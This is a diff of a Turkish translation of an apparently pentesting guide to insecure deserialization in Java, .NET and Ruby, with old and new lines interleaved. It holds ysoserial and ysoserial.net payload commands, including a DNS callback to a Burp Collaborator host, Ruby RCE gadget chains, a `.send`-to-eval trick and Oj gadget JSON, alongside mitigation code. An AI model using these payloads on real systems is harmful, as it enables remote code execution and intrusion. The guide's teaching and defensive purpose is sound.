Java deserialization'larını istismar etmek için ana araç [**ysoserial**](https://github.com/frohoff/ysoserial) ([**buradan indirin**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ayrıca, karmaşık komutlar (örneğin, borular ile) kullanmanıza olanak tanıyacak [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) kullanmayı da düşünebilirsiniz.\
|
||||
Bu aracın **`ObjectInputStream`** istismarına **odaklandığını** unutmayın.\
|
||||
İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü **kullanmayı** **başlatırım**. Her durumda, "URLDNS" yükünün çalışmadığını ancak başka bir RCE yükünün çalıştığını unutmayın.
|
||||
İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü **kullanmayı** **başlayabilirim**. Her durumda, "URLDNS" yükünün çalışmadığını ancak başka bir RCE yükünün çalıştığını unutmayın.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -459,8 +459,8 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec), Java'daki farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak için kullanılabilir.\
|
||||
Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem** gerekiyordu:
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec), Java'daki farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\
|
||||
Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem** gerekti:
|
||||
```markup
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -503,7 +503,7 @@ Java, çeşitli amaçlar için çok fazla serileştirme kullanır:
|
||||
|
||||
#### Geçici nesneler
|
||||
|
||||
`Serializable` arayüzünü uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak işaretleyebilir. Örneğin:
|
||||
`Serializable`'ı uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak işaretleyebilir. Örneğin:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
@ -512,7 +512,7 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Serializable'ı Uygulaması Gereken Bir Sınıfın Serileştirilmesinden Kaçının
|
||||
|
||||
Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden serileştirme riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, sürekli bir istisna fırlatan `final` bir `readObject()` yöntemi tanımlayarak bu nesnelerin serileştirilemez olmasını sağlayın:
|
||||
Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden serileştirme riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayarak bu nesnelerin serileştirilemez olmasını sağlayın:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -523,9 +523,9 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
**`java.io.ObjectInputStream`'i Özelleştirmek**, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem, aşağıdaki durumlarda uygundur:
|
||||
|
||||
- Deserialization kodu kontrolünüz altındadır.
|
||||
- Deserialization için beklenen sınıflar biliniyor.
|
||||
- Deserialization için beklenen sınıflar bilinmektedir.
|
||||
|
||||
Sadece izin verilen sınıflara deserialization'ı sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, örneğin deserialization'ı yalnızca `Bicycle` sınıfı ile sınırlayan aşağıdaki örnekte olduğu gibi, deserialization'ını önler:
|
||||
Deserialization'ı yalnızca izin verilen sınıflarla sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, aşağıdaki örnekte olduğu gibi, `Bicycle` sınıfına deserialization yapılmasını sağlar:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -546,7 +546,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Güvenlik Artırımı için Java Ajansı Kullanımı**, kod değişikliği mümkün olmadığında bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır:
|
||||
**Güvenlik Geliştirmesi için Java Ajansı Kullanımı**, kod değişikliği mümkün olmadığında bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -568,9 +568,9 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Dış Kütüphaneleri Güvenliği Artırmak İçin Kullanma**: **NotSoSerial**, **jdeserialize** ve **Kryo** gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme, sınıfları beyaz listeye alma veya kara listeye alma gibi ek güvenlik katmanları sağlayabilir ve özel serileştirme stratejileri uygulayabilir.
|
||||
**Dış Kütüphaneleri Kullanarak Güvenliği Artırma**: **NotSoSerial**, **jdeserialize** ve **Kryo** gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme, sınıfları beyaz listeye alma veya kara listeye alma ve özel serileştirme stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.
|
||||
|
||||
- **NotSoSerial**, güvenilmeyen kodun çalıştırılmasını önlemek için deserialization süreçlerini kesintiye uğratır.
|
||||
- **NotSoSerial**, güvenilmeyen kodun çalıştırılmasını önlemek için deserialization süreçlerini engeller.
|
||||
- **jdeserialize**, serileştirilmiş Java nesnelerinin deserialization'ını yapmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur.
|
||||
- **Kryo**, hız ve verimliliğe vurgu yapan alternatif bir serileştirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir serileştirme stratejileri sunar.
|
||||
|
||||
@ -581,11 +581,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Gadgetinspector hakkında konuşma: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) ve slaytlar: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec makalesi: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Marshalsec belgesi: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Java ve .Net JSON deserialization **makalesi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** konuşma: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) ve slaytlar: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java ve .Net JSON deserialization **belgesi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** konuşma: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) ve slaytlar: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialization CVE'leri: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI Enjeksiyonu & log4Shell
|
||||
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Mesaj Servisi
|
||||
|
||||
> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürümü (Java EE) bir parçasıdır ve Sun Microsystems tarafından geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE tabanlı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems'ta geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE tabanlı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Ürünler
|
||||
|
||||
@ -610,12 +610,12 @@ Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır:
|
||||
|
||||
### İstismar
|
||||
|
||||
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet bulunmaktadır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler gönderebilirsiniz**.\
|
||||
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet bulunmaktadır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak zararlı nesneler serileştirebilirsiniz**.\
|
||||
Bu, bu istismar sırasında **o mesajı kullanacak tüm istemcilerin enfekte olacağı** anlamına gelir.
|
||||
|
||||
Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa) ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir.
|
||||
|
||||
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır.
|
||||
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç zararlı nesne serileştirerek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde ise çalışacaktır.
|
||||
|
||||
### Referanslar
|
||||
|
||||
@ -630,34 +630,34 @@ Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisi
|
||||
|
||||
#### Beyaz Kutu
|
||||
|
||||
Kaynak kodu, aşağıdaki durumların varlığı için incelenmelidir:
|
||||
Kaynak kodu, aşağıdaki terimlerin geçişlerini kontrol etmek için incelenmelidir:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Odak, türün kullanıcı kontrolündeki bir değişken tarafından belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
|
||||
Odak, türün kullanıcı kontrolündeki bir değişkenle belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
|
||||
|
||||
#### Siyah Kutu
|
||||
|
||||
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları gibi olabilir.
|
||||
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır ve bu, deserialization yapılacak tür üzerinde kontrol sağlamaktadır. Bu, **JSON** veya `TypeObject` veya `$type` içeren **XML** yapıları gibi olabilir.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **Visual Studio gibi bir programla derlemelisiniz**.
|
||||
Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **örneğin Visual Studio kullanarak derlemelisiniz**.
|
||||
|
||||
**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek istiyorsanız**, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek** isterseniz, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
**ysoserial.net**'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.**
|
||||
|
||||
- **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtir).
|
||||
- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtir (payload'ı deserialization yapmak için arka uçta hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
|
||||
- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı ama bu her zaman çalışacağı anlamına gelmez)._
|
||||
- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak üzere eklentileri destekler**; örneğin ViewState.
|
||||
- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (yüklemenin deserialization'ı için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
|
||||
- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, yüklemeyi **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham yüklemeyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda yükleme hem UTF-16LE hem de ASCII'de çalıştı ama bu her zaman çalışacağı anlamına gelmez)._
|
||||
- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak** üzere eklentileri destekler, örneğin ViewState için.
|
||||
|
||||
#### Daha fazla ysoserial.net parametreleri
|
||||
|
||||
- `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse).
|
||||
- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatter ile kullanılabilecek tüm gadget'ları gösterecektir (bu durumda `Json.Net`).
|
||||
- `--minify`, **daha küçük bir yük** sağlayacaktır (mümkünse).
|
||||
- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatörle kullanılabilecek tüm gadget'ları gösterecektir (bu durumda `Json.Net`).
|
||||
- `--sf xml`, bir gadget'ı (`-g`) belirtebilir ve ysoserial.net "xml" içeren formatörleri arayacaktır (büyük/küçük harf duyarsız).
|
||||
|
||||
**ysoserial örnekleri** ile istismar oluşturma:
|
||||
@ -719,7 +719,7 @@ Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** deserializati
|
||||
- **Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının.** Mümkünse `DataContractSerializer` veya `XmlSerializer` kullanın.
|
||||
- **`JSON.Net` için `TypeNameHandling`'i `None` olarak ayarlayın:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **`JavaScriptSerializer`'ı `JavaScriptTypeResolver` ile kullanmaktan kaçının.**
|
||||
- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
|
||||
- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilgili içsel riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
|
||||
- **Riskli özelliklere sahip türlerle dikkatli olun**, `Value` özelliği ile `System.ComponentModel.DataAnnotations.ValidationException` gibi, istismar edilebilir.
|
||||
- **Tür örneklemesini güvenli bir şekilde kontrol edin** ki saldırganlar deserialization sürecini etkilemesin, bu da `DataContractSerializer` veya `XmlSerializer`'ı savunmasız hale getirebilir.
|
||||
- **`BinaryFormatter` ve `JSON.Net` için özel bir `SerializationBinder` kullanarak beyaz liste kontrolleri uygulayın.**
|
||||
@ -735,7 +735,7 @@ Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** deserializati
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye döndürmek için kullanılır, bu işleme ise deserialization denir.
|
||||
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye dönüştürmek için kullanılır, bu işleme ise deserialization denir.
|
||||
|
||||
Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
|
||||
|
||||
@ -815,11 +815,11 @@ require "base64"
|
||||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
Diğer RCE zinciri Ruby On Rails'i istismar etmek için: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
Ruby On Rails'i istismar etmek için diğer RCE zinciri: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() metodu
|
||||
|
||||
[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, eğer bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
|
||||
[**bu güvenlik raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, eğer bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
|
||||
|
||||
Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, rastgele kodun çalıştırılmasına olanak tanır:
|
||||
```ruby
|
||||
@ -854,7 +854,7 @@ Bir Ruby sınıfını nasıl [kirletebileceğinizi ve bunu burada nasıl kötüy
|
||||
|
||||
### Ruby _json kirlenmesi
|
||||
|
||||
Bir gövdeye, bir dizi gibi hashlenemeyen bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Ardından, örneğin arka uç bir parametrenin doğruluğunu kontrol ederse ancak `_json` parametresini bir eylem gerçekleştirmek için de kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
|
||||
Bir gövdeye hashlenemeyen bazı değerler, örneğin bir dizi gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Ardından, örneğin arka uç bir parametrenin doğruluğunu kontrol ederse ancak `_json` parametresini bir eylem gerçekleştirmek için de kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
|
||||
|
||||
Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.md) kontrol edin.
|
||||
|
||||
@ -862,9 +862,9 @@ Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.
|
||||
|
||||
Bu teknik [**bu blog yazısından**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) alınmıştır.
|
||||
|
||||
RCE elde etmek için güvenli olmayan bir deserialization sırasında kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):
|
||||
RCE elde etmek için güvenli olmayan bir deserialization sırasında kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak işlev):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notları son bölümde görün](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Temel örnek:
|
||||
```ruby
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür temizlenmemiş deserialization zafiyetlerinin harika bir dedektörü oldu.
|
||||
Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitasyonsuz deserialization zafiyetlerinin harika bir dedektörünü sağladı.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -900,7 +900,7 @@ Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağ
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı istismar etmek için bir gereklilik olduğu ve bunun bir RCE'ye dönüştürülmesi gerektiği bulundu:
|
||||
Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı kötüye kullanmak için bir gereklilik olduğu ve bunun bir RCE'ye dönüştürülmesi gerektiği bulundu:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
|
||||
@ -32,7 +32,7 @@ Kodun sonunda `this.QueryWorke(null)` çağrıldığını not edin. Bunun neyi
|
||||
|
||||
Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metod setinin çağrıldığı** satırdır.
|
||||
|
||||
Sadece _**MethodName**_\*\* ayarlayarak bunun çalıştırılacağını kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
|
||||
Sadece _**MethodName**_ ayarlayarak bunun **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
